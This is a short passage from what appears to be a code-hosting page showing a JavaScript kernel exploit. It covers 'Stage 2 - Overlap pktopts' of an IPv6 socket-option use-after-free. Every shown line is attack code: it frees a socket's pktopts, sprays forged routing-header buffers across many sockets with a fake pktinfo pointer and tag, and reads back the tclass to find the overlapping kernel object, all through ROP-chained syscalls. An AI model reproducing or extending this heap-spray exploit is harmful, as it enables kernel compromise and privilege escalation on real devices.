(target_fd, pktinfo, tag)
| 633 | await log("===== Stage 2 - Overlap pktopts ====="); |
| 634 | |
| 635 | let fake_pktopts = async function(target_fd, pktinfo, tag) { |
| 636 | // Free pktopts |
| 637 | await chain.add_syscall(SYSCALL_SETSOCKOPT, target_fd, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); |
| 638 | |
| 639 | // Spray rthdrs |
| 640 | let size = build_rthdr_msg(fake_pktopts_buf_store, 0x100); |
| 641 | |
| 642 | for (let i = 0; i < NUM_SPRAY_SOCKS; i++) { |
| 643 | let spray_fd = p.read4(spray_fds_store.add32(i * 0x4)); |
| 644 | |
| 645 | chain.push_write8(fake_pktopts_buf_store.add32(OFFSET_KERNEL_pktopts_pktinfo_offset), pktinfo); |
| 646 | chain.push_write4(fake_pktopts_buf_store.add32(OFFSET_KERNEL_tclass_offset), tag | i); |
| 647 | await chain.add_syscall(SYSCALL_SETSOCKOPT, spray_fd, IPPROTO_IPV6, IPV6_RTHDR, fake_pktopts_buf_store, size); |
| 648 | } |
| 649 | |
| 650 | // Get tclass |
| 651 | await chain.add_syscall(SYSCALL_GETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_TCLASS, scratch_store, tclass_size_store); |
| 652 | await chain.run(); |
| 653 | |
| 654 | tagged_tclass = p.read4(scratch_store); |
| 655 | } |
| 656 | |
| 657 | // Reallocate pktopts |
| 658 | p.write4(tclass_spray_store, 0); |
no test coverage detected